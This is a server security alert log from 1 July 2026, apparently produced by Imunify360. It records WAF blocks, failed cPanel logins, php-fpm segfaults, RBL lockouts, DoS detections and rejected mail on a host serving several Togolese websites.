IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/togo-colleges-et-lycees-publics-les-frais-dinscription-et-decolage-gratuit-pour-lannee-academique-2021-22/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.224.74
country_id: 6252001
domain: marque.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/marque.free.netmaster.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:34:31 ns5 kernel: php-fpm[2265249]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 06:35:26 +0000] info [cpaneld] 167.99.236.81 - or "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user or (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:37:39 ns5 kernel: php-fpm[2267978]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:38:03 ns5 kernel: php-fpm[2267929]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.110.163.130
country_id: 3017382
description:
103.110.163.130 - - [01/Jul/2026:06:38:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988502&pdata=https%253A%252F%252Flibertetogo.tg%252Findex.php%252Ffranc-cfa-une-possible-reforme-avant-fin-2019-en-cote-divoire-delocalisation-des-reserves-en-suisse-grincements-de-dents-a-la-bceao-mais-rien-sur-le-taux-de-change%252Feconomie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782887898 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/index.php/franc-cfa-une-possible-reforme-avant-fin-2019-en-cote-divoire-delocalisation-des-reserves-en-suisse-grincements-de-dents-a-la-bceao-mais-rien-sur-le-taux-de-change/economie/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.3334.1021 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.110.163.130


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:39:50 ns5 kernel: php-fpm[2268385]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:40:11 ns5 kernel: php-fpm[2268858]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.245.60.51
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/afreximbank-met-fin-a-sa-collaboration-avec-fitch-ratings/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [01/Jul/2026:06:41:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792101&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhack-her-2025-yas-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782888116 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/hack-her-2025-yas-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 06:42:44 +0000] info [cpaneld] 52.200.114.158 - enadamso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:43:09 ns5 kernel: php-fpm[2270151]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:44:35 ns5 kernel: php-fpm[2270538]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:45:01 ns5 kernel: php-fpm[2271161]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:47:23 ns5 kernel: php-fpm[2271431]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:48:31 ns5 kernel: php-fpm[2272515]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.239.196
country_id: 3469034
description:
Jul  1 06:48:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.239.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.21.156
country_id: 3469034
description:
Jul  1 06:48:36 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.21.156 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.45.40.244
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.45.40.244: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 51.210.118.219
country_id: 3017382
description:
51.210.118.219 - - [01/Jul/2026:06:48:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936281&pdata=https%253A%252F%252Fwww.libertetogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782888533 HTTP/2.0" 302 0 www.libertetogo.tg "https://www.libertetogo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:51.210.118.219


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.45.40.246
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.45.40.246: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:49:39 ns5 kernel: php-fpm[2272973]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:50:12 ns5 kernel: php-fpm[2272567]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:51:16 ns5 kernel: php-fpm[2273218]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:52:44 ns5 kernel: php-fpm[2273898]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:53:50 ns5 kernel: php-fpm[2274246]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-07-01 06:53:19 H=([77.83.39.59]) [77.83.39.59]:52680 F=<geliping@wahtung.net> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.151.190.55
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.151.190.55||TA:193.151.190.55||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:55:06 ns5 kernel: php-fpm[2274700]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.168.30.85
country_id: 690791
domain: shekina.tensai.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:admin1494.shekina.tensai.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:56:39 ns5 kernel: php-fpm[2275349]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:57:48 ns5 kernel: php-fpm[2275762]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-07-01 06:57:34 +0000] info [cpaneld] 168.144.35.224 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:59:28 ns5 kernel: php-fpm[2276074]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 160.242.199.70
country_id: 2363686
description:
2026-07-01 06:59:55 H=([10.155.8.54]) [160.242.199.70]:42272 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<tbassowa@caissederetraites.tg> A=dovecot_plain:tbassowa@caissederetraites.tg rejected RCPT <secretariar_dcf@caissederetraites.tg>: No Such User Here"


